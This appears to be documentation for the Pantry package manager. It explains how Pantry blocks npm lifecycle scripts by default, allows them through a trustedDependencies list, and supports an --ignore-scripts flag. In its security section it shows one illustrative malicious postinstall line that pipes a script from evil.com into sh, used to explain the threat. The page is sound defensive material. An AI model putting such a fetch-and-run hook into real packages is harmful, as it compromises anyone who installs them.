Lifecycle Scripts
On this page 39
How Pantry handles package lifecycle scripts securely
Packages on npm can define lifecycle scripts in their package.json. These are arbitrary shell commands that the package manager executes at specific times during the package lifecycle.
Unlike other npm clients, Pantry does not execute arbitrary lifecycle scripts by default. This security-first approach protects you from potentially malicious code in dependencies.
Lifecycle Script Types
Pantry supports the following lifecycle scripts:
Installation Scripts
preinstall: Runs before the package is installedpostinstall: Runs after the package is installedprepare: Runs after install and before publishpreprepare: Runs beforepreparepostprepare: Runs afterprepare
Uninstallation Scripts
preuninstall: Runs before the package is uninstalledpostuninstall: Runs after the package is uninstalled
Publishing Scripts
prepublishOnly: Runs before the package is published (not on install)
The Security Problem
These scripts represent a potential security risk because they:
- Execute arbitrary shell commands
- Run with your user's permissions
- Can access your filesystem and environment
- May contain malicious code from compromised packages
Example of a malicious postinstall script:
{
"scripts": {
"postinstall": "curl https://evil.com/steal.sh | sh"
}
}
Pantry's Security Model
Pantry uses a "default-secure" approach:
- Scripts are disabled by default - No scripts run unless explicitly allowed
- Trusted dependencies list - You control which packages can run scripts
- Default trusted packages - Top 500 npm packages with scripts are pre-approved
- Easy opt-out - Use
--ignore-scriptsto disable all scripts
postinstall Scripts
The postinstall script is particularly important. It's widely used to build or install platform-specific binaries for packages implemented as native Node.js add-ons.
For example, node-sass uses postinstall to build a native binary for Sass:
{
"name": "my-app",
"version": "1.0.0",
"dependencies": {
"node-sass": "^6.0.1"
}
}
trustedDependencies
To allow lifecycle scripts for specific packages, add them to the trustedDependencies array in your package.json:
{
"name": "my-app",
"version": "1.0.0",
"trustedDependencies": ["node-sass", "sharp", "esbuild"],
"dependencies": {
"node-sass": "^6.0.1",
"sharp": "^0.32.0",
"esbuild": "^0.19.0"
}
}
How It Works
When you add a package to trustedDependencies:
- Pantry reads this field during installation
- Lifecycle scripts for trusted packages are executed
- Scripts for untrusted packages are skipped with a warning
Adding Trusted Dependencies
When a package needs lifecycle scripts, Pantry will warn you:
� Package 'my-custom-package' has lifecycle scripts but is not trusted
Add to trustedDependencies in package.json to enable:
{
"trustedDependencies": ["my-custom-package"]
}
Add the package name to trustedDependencies and run pantry install again.
Default Trusted Packages
As of Pantry v1.0, the top 500 npm packages with lifecycle scripts are allowed by default. This includes popular packages like:
- Native addons:
node-sass,sharp,canvas,sqlite3,bcrypt - Build tools:
esbuild,swc,@swc/core,node-gyp - Browser automation:
puppeteer,playwright,chromedriver - Development tools:
husky,patch-package,electron - And many more...
See the full list in the source code.
Why Default Trust
These packages are:
- Widely used: Downloaded millions of times per week
- Well maintained: Active communities and security oversight
- Necessary: Often require native compilation or platform-specific setup
- Vetted: Part of the npm ecosystem's core infrastructure
--ignore-scripts
To disable lifecycle scripts for all packages (including trusted ones), use the --ignore-scripts flag:
pantry install --ignore-scripts
This is useful for:
- CI/CD pipelines: Faster, more predictable builds
- Security audits: Installing without executing code
- Debugging: Isolating installation issues
- Air-gapped environments: When network access is restricted
Examples
Basic Usage
Install packages with default security (trusted packages can run scripts):
$ pantry install
Installed react@18.0.0
Installed node-sass@6.0.1
Running postinstall script... (building native addon)
� Skipped scripts for untrusted-package (not in trustedDependencies)
Adding a Trusted Package
When a package needs scripts:
$ pantry add custom-native-module
� Package 'custom-native-module' has postinstall script but is not trusted
Add to package.json trustedDependencies to enable
Edit package.json:
{
"trustedDependencies": ["custom-native-module"]
}
Run install again:
$ pantry install
Running postinstall for custom-native-module
Building native bindings...
Disabling All Scripts
For maximum security or CI environments:
$ pantry install --ignore-scripts
Installed all packages (scripts disabled)
� Some packages may not work correctly without scripts:
* node-sass (needs postinstall)
* sharp (needs postinstall)
Multiple Trusted Packages
Add multiple packages to the trusted list:
{
"name": "my-project",
"version": "1.0.0",
"trustedDependencies": [
"node-sass",
"sharp",
"canvas",
"sqlite3",
"@tensorflow/tfjs-node",
"my-custom-binary"
],
"dependencies": {
"node-sass": "^6.0.1",
"sharp": "^0.32.0",
"canvas": "^2.11.0",
"sqlite3": "^5.1.0",
"@tensorflow/tfjs-node": "^4.0.0",
"my-custom-binary": "^1.0.0"
}
}
Workspace Configuration
In monorepos, trustedDependencies can be set at the workspace root:
{
"name": "my-monorepo",
"version": "1.0.0",
"workspaces": ["packages/*"],
"trustedDependencies": [
"node-sass",
"sharp",
"esbuild"
]
}
All workspace members inherit the trusted dependencies list.
Script Output
By default, Pantry shows when scripts are running:
$ pantry install node-sass
Installing node-sass@6.0.1
Running postinstall...
Building native addon for your platform...
Build complete
Use verbose mode for full script output:
$ pantry install --verbose
Running script: postinstall
Command: node scripts/build.js
CWD: /path/to/node*modules/node-sass
stdout: Downloading binary from GitHub...
Binary saved to vendor/darwin-arm64/binding.node
stderr: (none)
exit code: 0
Security Best Practices
1. Minimize Trusted Dependencies
Only trust packages that absolutely need scripts:
// Good - minimal trust
{
"trustedDependencies": ["node-sass"]
}
// Bad - too permissive
{
"trustedDependencies": ["*"] // Don't do this!
}
2. Review Before Trusting
Before adding to trustedDependencies:
- Check the package's
package.jsonto see what the script does - Look for the package on npm to verify it's legitimate
- Check the package's GitHub repository for the script source
- Verify the package is actively maintained
# View the package's scripts
npm view node-sass scripts
# Check package info
npm view node-sass
3. Use --ignore-scripts in CI
Disable scripts in CI for faster, more secure builds:
# .github/workflows/ci.yml
steps:
* run: pantry install --ignore-scripts
* run: pantry test
4. Pin Versions
Pin trusted packages to specific versions:
{
"trustedDependencies": ["node-sass"],
"dependencies": {
"node-sass": "6.0.1" // Pinned, not "^6.0.1"
}
}
5. Audit Regularly
Check which packages have scripts:
# List all packages with lifecycle scripts
pantry audit --scripts
# Output
# Packages with lifecycle scripts
# node-sass (trusted)
# suspicious-package (not trusted)
Troubleshooting
Issue: Package doesn't work after install
Problem: Native module not building
Solution: Add package to trustedDependencies
{
"trustedDependencies": ["package-name"]
}
Issue: Scripts running slowly
Problem: Scripts timeout or hang
Solution: Increase timeout or use --ignore-scripts
# Disable scripts for faster install
pantry install --ignore-scripts
# Or build manually after install
pantry install --ignore-scripts
npm rebuild node-sass
Issue: "Command not found" in script
Problem: Script uses tools not in PATH
Solution: Ensure build tools are installed:
# macOS
xcode-select --install
# Linux
sudo apt-get install build-essential
# Then install
pantry install
Issue: Script permissions denied
Problem: Script can't write to filesystem
Solution: Check directory permissions
# Fix node*modules permissions
chmod -R u+w node*modules/
# Or install with correct permissions
pantry install
Comparison with npm/yarn/bun
| Feature | Pantry | npm | yarn | bun |
|---|---|---|---|---|
| Scripts by default | L Disabled | Enabled | Enabled | L Disabled |
| Trusted list | L | L | ||
| Default trusted | Top 500 | N/A | N/A | Top 500 |
| --ignore-scripts | ||||
| Per-package trust | L | L | ||
| Security warnings | L | L |
Advanced Usage
Environment Variables
Lifecycle scripts have access to special environment variables:
# Available in scripts
# npm*package*name - Package name
# npm*package*version - Package version
# npm*config** - All npm config values
# NODE*ENV - Usually "production" or "development"
Custom Script Timeout
Configure timeout for long-running scripts:
# Default is 2 minutes (120000ms)
PANTRY*SCRIPT*TIMEOUT=300000 pantry install
Conditional Scripts
Scripts can check environment:
{
"scripts": {
"postinstall": "node -e \"if (process.env.CI) { console.log('Skipping in CI'); process.exit(0); } else { require('./build'); }\""
}
}
Programmatic Usage
Use lifecycle API in your code:
const { lifecycle } = require('ts-pantry');
// Run a specific lifecycle script
await lifecycle.runLifecycleScript({
packageName: 'node-sass',
scriptType: 'postinstall',
packagePath: './node_modules/node-sass',
options: {
ignoreScripts: false,
verbose: true,
}
});